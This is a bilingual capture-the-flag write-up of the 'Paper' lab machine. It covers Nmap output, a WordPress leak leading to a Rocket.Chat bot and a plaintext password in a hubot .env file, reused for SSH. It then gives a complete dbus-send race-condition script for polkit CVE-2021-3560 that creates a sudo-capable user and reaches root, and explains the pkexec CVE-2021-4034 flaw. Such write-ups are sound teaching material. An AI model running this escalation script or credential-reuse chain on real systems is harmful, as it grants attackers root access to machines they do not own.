本文描述了一种针对名为“Paper”的靶机的渗透测试过程。首先,通过Nmap扫描确认开放的端口和服务,包括SSH和Apache HTTP。接着,利用WordPress的漏洞进行信息收集,并成功注册用户以获取访问权限。文章详细介绍了如何通过特定的命令和代码利用CVE-2021-3560漏洞进行特权升级,最终获得root权限,展示了渗透测试的完整链条及其学习经验。 This article describes the penetration testing process for a target machine named "Paper". First, an Nmap scan confirms open ports and services, including SSH and Apache HTTP. Next, information gathering is performed by exploiting WordPress vulnerabilities, and a user is successfully registered to gain access. The article details how to use specific commands and code to exploit the CVE-2021-3560 vulnerability for privilege escalation, ultimately obtaining root privileges. It demonstrates the complete chain of penetration testing and the lessons learned.
Information Gathering
# Nmap 7.98 scan initiated Thu Dec 25 18:05:58 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.143
Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.095s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| tls-alpn:
|_ http/1.1
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after: 2022-07-08T10:32:34
| MD5: 579a 92bd 803c ac47 d49c 5add e44e 4f84
| SHA-1: 61a2 301f 9e5c 2603 a643 00b5 e5da 5fd5 c175 f3a9
|_SHA-256: d5f0 f409 8515 2a6f eae7 437b 7ef0 888a 983c 503d 759a 2c07 1204 b408 a42b 0fc3
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Uptime guess: 30.160 days (since Tue Nov 25 14:16:02 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 25 18:06:20 2025 -- 1 IP address (1 host up) scanned in 21.80 seconds
Vulnerability Analysis

更改请求方法得到虚拟主机
进入http://office.paper/得到wordpress的blog
在页面中发现一个泄露

其次我们查看到wordpress版本号为5.2.3得到漏洞
http://office.paper/?static=1输入后得到注册网址http://chat.office.paper/register/8qozr226AhkCHZdyY
Exploitation (User Flag)
注册后在# general中得到一个机器人,私自发信息给他
枚举后file ../hubot/.env得到
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
查看/etc/passwd →rocketchat和dwight

➜ Paper ssh dwight@paper.htb
# Queenofblad3s!23
Privilege Escalation (Root Flag)
[dwight@paper ~]$ rpm -qa | grep polkit
polkit-0.115-6.el8.x86_64
得到CVE-2021-3560,竞争条件漏洞
CVE-2021-3560 的核心在于:如果在 Polkit 还在查询用户信息的时候,我们突然杀死了你的进程,会发生什么?
发送请求(比如:“我要创建一个 Root 用户”)。
Polkit 接到请求,准备去查UID。
然后在极短的时间内(几毫秒)杀掉 (Kill) 刚才发送请求的进程。
Polkit 懵了。它去 /proc 查我们的 PID,结果发现进程不见了。
Bug 出现了: Polkit 的代码中有一个错误处理逻辑。当它无法获取请求者的 UID 时,它没有报错拒绝,而是默认把请求者的 UID 判定为 0 (Root)。
结果:Polkit 认为“哦,原来是 Root 发起的请求啊,那不需要密码”,直接放行。
AccountService 收到 Polkit 的“放行”指令,帮我们创建了用户。
分两段进行
echo "[*] Starting Phase 1: Creating user 'hacker'..."
# 成功标志:id hacker 命令能查到信息
while ! id hacker >/dev/null 2>&1; do
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply \
/org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser \
string:"hacker" string:"Hacker Account" int32:1 & \
sleep 0.005; \
kill $!;
done
echo "[+] User 'hacker' created successfully!"
echo "[*] Starting Phase 2: Setting password..."
# 1. 生成密码 'password123' 的 SHA-512 哈希
myhash=$(openssl passwd -5 password123)
# 2. 获取刚才创建的 hacker 用户的 UID
target_uid=$(id -u hacker)
echo "[*] Target UID is: $target_uid"
# 3. 循环攻击 SetPassword 接口
# 我们不依赖报错判断,而是跑它个 50 次,大概率能中
for i in {1..50}; do
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply \
/org/freedesktop/Accounts/User$target_uid \
org.freedesktop.Accounts.User.SetPassword \
string:"$myhash" string:"ask" & \
sleep 0.005; \
kill $!;
done
echo "[*] Attack loops finished. Try logging in now."
# 这个多尝试几次
su hacker
# 输入密码:password123
sudo -l
# 你会看到 (ALL : ALL) ALL
sudo bash
# 获得 ROOT 权限
Lessons Learned
CVE-2021-4034
当一个程序(比如 pkexec)启动时,内核会将参数(argv)和环境变量(envp)放在栈上,而且它们是紧挨着的:
| argv[0] | argv[1] | ... | argv[argc] (NULL) | envp[0] | envp[1] | ... |
argv存放你输入的命令参数。envp存放环境变量(如PATH=/bin,HOME=/root)。- 正常情况下,
argv列表是以NULL结尾的,用来告诉程序参数读完了。
pkexec 的源码里大概是这样写的(伪代码):
main(int argc, char *argv[]) {
// 目标:找到要执行的程序名
// 正常用法:pkexec bash (argv[0]="pkexec", argv[1]="bash")
// n 初始为 1
for (n = 1; n < argc; n++) {
// ... 一些检查 ...
// 如果一切正常,把 argv[n] 设为要执行的程序路径
path = argv[n];
break;
}
// ... 后面会查找 path 的绝对路径并执行 ...
}
当 argc 为 0 时发生:
- 循环条件
n < argc(1 < 0) 不满足,循环直接跳过。 - 但是! 代码后面仍然尝试去读取
argv[n](即argv[1])来获取要执行的程序名。 - 回到上面的内存图:由于
argv是空的,argv[1]的位置实际上越界读到了envp[0](第一个环境变量)。
pkexec 把第一个环境变量当成了它要执行的程序名。
攻击链:如何利用这个“错位”
仅仅把环境变量当成程序名还不足以提权,我们需要结合 pkexec 的另一个特性:重新加载环境变量。
当你运行 pkexec 时,为了安全,它会清除一些危险的环境变量(比如 LD_PRELOAD),防止你注入恶意库。但是,我们可以利用上述的“错位”把它骗回来。
步骤演示
- 构造特殊的
envp我们通过execve启动pkexec,并传入这样的环境变量列表: - pkexec 的反应
- GCONV_PATH 注入 (关键一击)
- 执行恶意代码
Information Gathering
# Nmap 7.98 scan initiated Thu Dec 25 18:05:58 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.143
Nmap scan report for paper.htb (10.10.11.143)
Host is up (0.095s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| tls-alpn:
|_ http/1.1
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after: 2022-07-08T10:32:34
| MD5: 579a 92bd 803c ac47 d49c 5add e44e 4f84
| SHA-1: 61a2 301f 9e5c 2603 a643 00b5 e5da 5fd5 c175 f3a9
|_SHA-256: d5f0 f409 8515 2a6f eae7 437b 7ef0 888a 983c 503d 759a 2c07 1204 b408 a42b 0fc3
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_http-title: HTTP Server Test Page powered by CentOS
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Uptime guess: 30.160 days (since Tue Nov 25 14:16:02 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 25 18:06:20 2025 -- 1 IP address (1 host up) scanned in 21.80 seconds
Vulnerability Analysis

Changing the request method yields a virtual host.
Accessing http://office.paper/ yields a WordPress blog.
A leak is discovered on the page.

Next, we see that the WordPress version is 5.2.3, which has a vulnerability.
After entering http://office.paper/?static=1, we get the registration URL http://chat.office.paper/register/8qozr226AhkCHZdyY.
Exploitation (User Flag)
After registering, we get a bot in #general, send it a private message.
After enumeration, file ../hubot/.env reveals:
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
View /etc/passwd → rocketchat and dwight

➜ Paper ssh dwight@paper.htb
# Queenofblad3s!23
Privilege Escalation (Root Flag)
[dwight@paper ~]$ rpm -qa | grep polkit
polkit-0.115-6.el8.x86_64
We obtainCVE-2021-3560, a race condition vulnerability
The core of CVE-2021-3560 is: What happens if we suddenly kill your process while Polkit is still querying user information?
Send a request (for example: "I want to create a Root user").
Polkit receives the request and prepares to check the UID.
Then within a very short time (a few milliseconds) kill (Kill) the process that just sent the request.
Polkit is confused. It goes to /proc to check our PID, but finds the process is gone.
The bug appears: Polkit's code has an error handling logic. When it cannot obtain the requester's UID, it does not report an error and deny, but defaults to judging the requester's UID as 0 (Root).
As a result: Polkit thinks, "Oh, it's a request from Root, so no password needed," and directly allows it.
AccountService receives Polkit's "allow" instruction and helps us create the user.
Divide into two phases.
echo "[*] Starting Phase 1: Creating user 'hacker'..."
# Success indicator: the 'id hacker' command can find information
while ! id hacker >/dev/null 2>&1; do
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply \
/org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser \
string:"hacker" string:"Hacker Account" int32:1 & \
sleep 0.005; \
kill $!;
done
echo "[+] User 'hacker' created successfully!"
echo "[*] Starting Phase 2: Setting password..."
# 1. Generate the SHA-512 hash of password 'password123'
myhash=$(openssl passwd -5 password123)
# 2. Get the UID of the hacker user we just created
target_uid=$(id -u hacker)
echo "[*] Target UID is: $target_uid"
# 3. Loop attack on the SetPassword interface
# We don't rely on error judgment, but run it 50 times, with a high probability of success.
for i in {1..50}; do
dbus-send --system --dest=org.freedesktop.Accounts \
--type=method_call --print-reply \
/org/freedesktop/Accounts/User$target_uid \
org.freedesktop.Accounts.User.SetPassword \
string:"$myhash" string:"ask" & \
sleep 0.005; \
kill $!;
done
echo "[*] Attack loops finished. Try logging in now."
# This may require multiple attempts
su hacker
# Enter password: password123
sudo -l
# You will see (ALL : ALL) ALL
sudo bash
# Obtain ROOT privileges
Lessons Learned
CVE-2021-4034
When a program (such as pkexec) starts, the kernel places the arguments (argv) and environment variables (envp) on the stack, and they are adjacent:
| argv[0] | argv[1] | ... | argv[argc] (NULL) | envp[0] | envp[1] | ... |
argvstores the command parameters you input.envpstores environment variables (such asPATH=/bin,HOME=/root).- Under normal circumstances, the
argvlist is terminated withNULLto indicate the end of parameters.
The source code of pkexec is roughly written like this (pseudocode):
main(int argc, char *argv[]) {
// Goal: Find the program name to execute
// Normal usage: pkexec bash (argv[0]="pkexec", argv[1]="bash")
// n is initially 1
for (n = 1; n < argc; n++) {
// ... some checks ...
// If everything is normal, set argv[n] as the program path to execute
path = argv[n];
break;
}
// ... later it will look up the absolute path of path and execute it ...
}
When argc is 0, the following occurs:
- The loop condition
n < argc(1 < 0) is not met, so the loop is skipped directly. - However! The code later still attempts to read
argv[n](i.e.,argv[1]) to get the program name to execute. - Referring to the memory diagram above: since
argvis empty, the position ofargv[1]actually reads out of bounds toenvp[0](the first environment variable).
pkexec treats the first environment variable as the program name it needs to execute.
Attack Chain: How to Exploit This 'Misalignment'
Merely treating an environment variable as a program name is not sufficient for privilege escalation; we need to combine it with another feature of pkexec: reloading environment variables.
When you run pkexec, for security reasons, it clears some dangerous environment variables (such as LD_PRELOAD) to prevent you from injecting malicious libraries. However, we can use the aforementioned 'misalignment' to trick it into bringing them back.
Step Demonstration
- Construct a special
envpWe startpkexecviaexecveand pass in such an environment variable list: - pkexec's reaction
- GCONV_PATH injection (critical hit)
- Execute malicious code